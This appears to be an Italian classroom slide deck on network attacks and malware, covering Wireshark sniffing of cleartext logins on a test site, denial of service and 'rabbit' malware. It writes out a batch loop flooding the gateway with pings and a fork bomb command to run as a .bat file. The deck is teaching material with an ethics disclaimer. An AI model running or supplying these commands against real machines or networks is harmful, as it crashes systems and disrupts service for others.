MALWARE & ATTACKS

Attacchi informatici e Malware più diffusi

Fonti:

- *Wikipedia*

PREMESSA

ATTENZIONE

ATTENZIONE

Le seguenti slide contengono materiale potenzialmente pericoloso, fornito **esclusivamente a scopo didattico** per l'apprendimento delle tecniche di sicurezza informatica. Questi strumenti devono essere utilizzati **in modo etico e responsabile**, esclusivamente per scopi legittimi come il miglioramento della sicurezza e la protezione dei sistemi.

È vietato utilizzare queste informazioni per attività **malevoli o illegali**. Ogni uso improprio che violi le leggi o i principi etici è severamente sanzionato dalla legge.

ATTACCHI INFORMATICI

SNIFFIG DI RETE

DEFINIZIONE

Attività di **intercettazione passiva dei dati** che transitano in una rete telematica: può essere svolta sia per scopi legittimi (ad esempio l'analisi e l'individuazione di problemi di comunicazione o di tentativi di intrusione) sia per scopi illeciti contro la sicurezza informatica (intercettazione fraudolenta di password o altre informazioni sensibili).
I prodotti software utilizzati per eseguire queste attività vengono detti **Sniffer**.

SNIFFING DI RETE - ESEMPIO

1. Iniziare la registrazione dei pacchetti tramite Wireshark
2. Collegarsi al sito: http://testphp.vulnweb.com
3. Effettuare il login tramite protocollo non cifrato HTTP (non sicuro)
4. Ricercare nei pacchetti trasmessi un pacchetto HTTP POST (invio di dati)
5. Leggere l'username e la password in chiaro

Figura 1: creata con ChatGPT

SNIFFING DI RETE - ESEMPIO

1. Iniziare la registrazione dei pacchetti tramite Wireshark
2. Collegarsi al sito: http://testphp.vulnweb.com
3. Effettuare il login tramite protocollo non cifrato HTTP (non sicuro)
4. Ricercare nei pacchetti trasmessi un pacchetto HTTP POST (invio di dati)
5. Leggere l'username e la password in chiaro

Figura 1: creata con ChatGPT

SNIFFING DI RETE - ESEMPIO

1. Iniziare la registrazione dei pacchetti tramite Wireshark
2. Collegarsi al sito: http://testphp.vulnweb.com
3. Effettuare il login tramite protocollo non cifrato HTTP (non sicuro)
4. Ricercare nei pacchetti trasmessi un pacchetto HTTP POST (invio di dati)
5. Leggere l'username e la password in chiaro

Figura 1: creata con ChatGPT

SNIFFING DI RETE - ESEMPIO

1. Iniziare la registrazione dei pacchetti tramite Wireshark
2. Collegarsi al sito: http://testphp.vulnweb.com
3. Effettuare il login tramite protocollo non cifrato HTTP (non sicuro)
4. Ricercare nei pacchetti trasmessi un pacchetto HTTP POST (invio di dati)
5. Leggere l'username e la password in chiaro

Figura 1: creata con ChatGPT

SNIFFING DI RETE - ESEMPIO

1. Iniziare la registrazione dei pacchetti tramite Wireshark
2. Collegarsi al sito: http://testphp.vulnweb.com
3. Effettuare il login tramite protocollo non cifrato HTTP (non sicuro)
4. Ricercare nei pacchetti trasmessi un pacchetto HTTP POST (invio di dati)
5. Leggere l'username e la password in chiaro

Figura 1: creata con ChatGPT

DENIAL OF SERVICE (DoS)

DEFINIZIONE

Attacco informatico in cui si fanno **esaurire le risorse di un sistema informatico** che fornisce un servizio ai client, ad esempio un sito web su un server web, fino a renderlo non più in grado di erogare il servizio ai client richiedenti.

In un attacco Distributed Denial of Service (**DDoS**), il traffico dei dati in entrata che inonda la vittima proviene da molte fonti diverse.

Video
DDoS e Botnet

DENIAL OF SERVICE (DoS) - ESEMPIO

1. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
2. Trovare l'indirizzo IP del Gateway predefinito: **ipconfig**;
3. Eseguire un attacco DoS creando 20 terminali che inviano infiniti pacchetti di dati in parallelo all'indirizzo IP del Gateway predefinito:
   for /L %i in (1,1,20) do start "" cmd /k "ping -t -l 65500 ip_gateway";
4. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
5. Terminare l'attacco: **taskkill /F /IM cmd.exe**;

DENIAL OF SERVICE (DoS) - ESEMPIO

1. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
2. Trovare l'indirizzo IP del Gateway predefinito: **ipconfig**;
3. Eseguire un attacco DoS creando 20 terminali che inviano infiniti pacchetti di dati in parallelo all'indirizzo IP del Gateway predefinito:
   for /L %i in (1,1,20) do start "" cmd /k "ping -t -l 65500 ip_gateway";
4. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
5. Terminare l'attacco: **taskkill /F /IM cmd.exe**;

DENIAL OF SERVICE (DoS) - ESEMPIO

1. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
2. Trovare l'indirizzo IP del Gateway predefinito: **ipconfig**;
3. Eseguire un attacco DoS creando 20 terminali che inviano infiniti pacchetti di dati in parallelo all'indirizzo IP del Gateway predefinito:
   for /L %i in (1,1,20) do start "" cmd /k "ping -t -l 65500 ip_gateway";
4. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
5. Terminare l'attacco: **taskkill /F /IM cmd.exe**;

DENIAL OF SERVICE (DoS) - ESEMPIO

1. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
2. Trovare l'indirizzo IP del Gateway predefinito: **ipconfig**;
3. Eseguire un attacco DoS creando 20 terminali che inviano infiniti pacchetti di dati in parallelo all'indirizzo IP del Gateway predefinito:
   for /L %i in (1,1,20) do start "" cmd /k "ping -t -l 65500 ip_gateway";
4. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
5. Terminare l'attacco: **taskkill /F /IM cmd.exe**;

DENIAL OF SERVICE (DoS) - ESEMPIO

1. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
2. Trovare l'indirizzo IP del Gateway predefinito: **ipconfig**;
3. Eseguire un attacco DoS creando 20 terminali che inviano infiniti pacchetti di dati in parallelo all'indirizzo IP del Gateway predefinito:
   for /L %i in (1,1,20) do start "" cmd /k "ping -t -l 65500 ip_gateway";
4. Aprire il Task Manager e visualizzare l'attuale consumo di risorse;
5. Terminare l'attacco: **taskkill /F /IM cmd.exe**;

MALWARE

RABBIT

DEFINIZIONE

Tipo di malware che **attacca le risorse del sistema** duplicando in continuazione la propria immagine su disco, o attivando nuovi processi a partire dal proprio eseguibile, in modo da **consumare tutte le risorse disponibili** sul sistema in pochissimo tempo. Il nome si riferisce proprio alla prolificità di questo "infestante".

Esempio
Fork Bomb

RABBIT - ESEMPIO FORK BOMB

1. Creare un file di testo RABBIT.txt;
2. Inserire la Fork Bomb nel file digitando: **start cmd /k echo BOMB | %0**
3. Modificare l'estensione del file da .txt a .bat
4. Preparare un teminale con l'istruzione: **taskkill /F /IM cmd.exe** per stoppare il malware;
5. Eseguire il file RABBIT.bat e terminarlo con il comando preparato sul terminale.

RABBIT - ESEMPIO FORK BOMB

1. Creare un file di testo RABBIT.txt;
2. Inserire la Fork Bomb nel file digitando: **start cmd /k echo BOMB | %0**
3. Modificare l'estensione del file da .txt a .bat
4. Preparare un teminale con l'istruzione: **taskkill /F /IM cmd.exe** per stoppare il malware;
5. Eseguire il file RABBIT.bat e terminarlo con il comando preparato sul terminale.

RABBIT - ESEMPIO FORK BOMB

1. Creare un file di testo RABBIT.txt;
2. Inserire la Fork Bomb nel file digitando: **start cmd /k echo BOMB | %0**
3. Modificare l'estensione del file da .txt a .bat
4. Preparare un teminale con l'istruzione: **taskkill /F /IM cmd.exe** per stoppare il malware;
5. Eseguire il file RABBIT.bat e terminarlo con il comando preparato sul terminale.

RABBIT - ESEMPIO FORK BOMB

1. Creare un file di testo RABBIT.txt;
2. Inserire la Fork Bomb nel file digitando: **start cmd /k echo BOMB | %0**
3. Modificare l'estensione del file da .txt a .bat
4. Preparare un teminale con l'istruzione: **taskkill /F /IM cmd.exe** per stoppare il malware;
5. Eseguire il file RABBIT.bat e terminarlo con il comando preparato sul terminale.

RABBIT - ESEMPIO FORK BOMB

1. Creare un file di testo RABBIT.txt;
2. Inserire la Fork Bomb nel file digitando: **start cmd /k echo BOMB | %0**
3. Modificare l'estensione del file da .txt a .bat
4. Preparare un teminale con l'istruzione: **taskkill /F /IM cmd.exe** per stoppare il malware;
5. Eseguire il file RABBIT.bat e terminarlo con il comando preparato sul terminale.

EFFETTUA UNA RICERCA SUI SEGUENTI MALWARE
(definizione e un esempio per ogni tipologia)

- **BACKDOOR**;
- **RANSOMWARE**;
- **TROJAN**;
- **VIRUS**;
- **WORM**.